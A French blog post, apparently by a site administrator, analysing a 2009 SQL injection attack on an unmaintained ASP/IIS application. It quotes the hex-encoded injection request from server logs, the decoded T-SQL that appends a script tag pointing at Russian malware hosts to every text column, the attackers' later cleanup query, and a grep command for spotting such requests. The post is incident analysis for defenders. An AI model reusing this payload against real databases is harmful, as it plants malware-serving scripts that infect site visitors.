Technique utilisée

C'est arrivé pendant les mois de septembre et octobre 2009. L'étude des symptômes (présence d'un texte HTML pointant vers un javascript sur un serveur russe) a permis d'en savoir plus sur la technique utilisée. Le javascript en question vous emmène vers un site russe dont l'objectif est de vous installer un cheval de Troie.

L'intrusion dans le système est faite par l'injection de code SQL masqué en hexadécimal dans la chaine querystring qui est ensuite passé au moteur SQL. Comme il s'agissait d'une veille application qui n'était plus maintenue, elle n'était pas prévue pour parer ce genre d'attaque.

On retrouve dans les logs du serveur web (IIS) les traces de ces variables. Par exemple :

GET /mapage.asp bonneVariable=24;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832353529220.............%20AS%20VARCHAR(4000));EXEC(@S)

La partie suivant "bonneVariable=24" est ajoutée afin d'être transmise au moteur de la base de données. La partie intéressante se trouve après le CAST(0x..., varchar(4000)); qui annonce un chaine hexadécimale à convertir en texte.

Une fois le contenu de la variable hexadécimal converti en texte, on a quelque chose du genre :

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
[...]
DEALLOCATE Table_Cursor

Intéressant? Allons plus loin.

Scénario des attaques

Pour comprendre exactement ce qu'il s'est passé j'ai recherché dans les logs du serveur web toutes les requêtes HTTP où intervenait "CAST(0x". Je me suis aperçu que le serveur avait subit plusieurs attaques similaires en septembre/octobre 2009.

Voici le code SQL utilisé pour insérer le javascript en base de données :

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT A.namE,b.NAmE FROM sysOBJeCTs A,syscOLUMNs B WHERE a.Id=B.id AnD a.xTyPE='u' AND (b.xtYPE=99 or b.XtyPE=35 oR B.xTypE=231 Or B.XTYpE=167)
OPEN tABLE_CURsor FETCH NEXT FROM tABLE_CuRsOr INTO @t,@c
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UpdaTe ['+@t+'] SET ['+@C+']=RTRim(cONVerT(vArcHaR(4000),['+@C+']))+caST(0x3C736372697074207372633D687474703A2F2F7777772E62616E6E6572742E72752F6164732E6A733E3C2F7363726970743E As vaRCHAR(51))')
FETCH NEXT FROM table_Cursor INTO @T,@C
END
CLOSE tAbLE_cursOr
DEALLOCATE TABle_CURsOr

La chaine hexadécimale contient ceci :

<script src=http://www.bannert.ru/ads.js></script>

Il y a également eu :

<script src=http://www.bannerdriven.ru/ads.js></script>)

En étudiant de près le code injecté, la technique utilisée consiste à utiliser les tables systèmes afin de répertorier tous les champs utilisables (type (var)char, je n'ai pas regardé en détail) afin d'y ajouter une petite chaine de texte. La chaine texte en question est du HTML qui inclue un javascript dans la page. L'idée étant que sur l'ensemble des champs modifiés, il y en aura bien un qui sera utilisé dans la génération des pages du serveur web.

Voici la requête sélectionnant les champs modifiables :

SELECT a.name,b.name
FROM sysobjects a,syscolumns b
   WHERE a.id=b.id AND a.xtype='u'
   AND (b.xtype=99 OR b.xtype=35
              OR b.xtype=231 OR b.xtype=167)

Chose curieuse, à chaque fois qu'une modification des champs texte est faite, une autre requête vient "nettoyer" les champs modifiés un peu plus tard (quelques minutes à quelques jours après).

Voici le code SQL de "nettoyage" :

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor
CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=LEFT(CONVERT(VARCHAR(4000),['+@C+']),PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))-1) WHERE PATINDEX(''%<scr%'',CONVERT(VARCHAR(4000),['+@C+']))>0')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Pour une raison inconnue, le dernier "nettoyage" ne s'est pas déroulé comme prévu, laissant un grand nombre de champs avec l'inclusion du javascript. Le moteur d'indexation de Google est passé par là et il est tombé sur les javascripts malicieux. Cela a eu pour conséquence de bloquer l'accès au site depuis Google avec un message d'avertissement signalant que le site etait dangereux. Très vendeur...

Je pense que ce "nettoyage" a pour but de ne pas trop exposer le piratage. En evitant d'être repéré, les pirates conservent un accès au serveur pour utilisation future.

Notes :

  • Pour ceux qui voudraient rechecher ce genre d'attaques, il est très pratique de conserver les logs des serveur web compressés avec GZIP (90% de taux de compression sur des fichiers texte) sur un serveur Unix/Linux. Vous pouvez ensuite très facilement extraire les attaques décrites dans cet article en décompressant les logs à la volée à l'aide de la commande suivante :
gzip -cd  filenamefilter | grep -i "CAST(0x"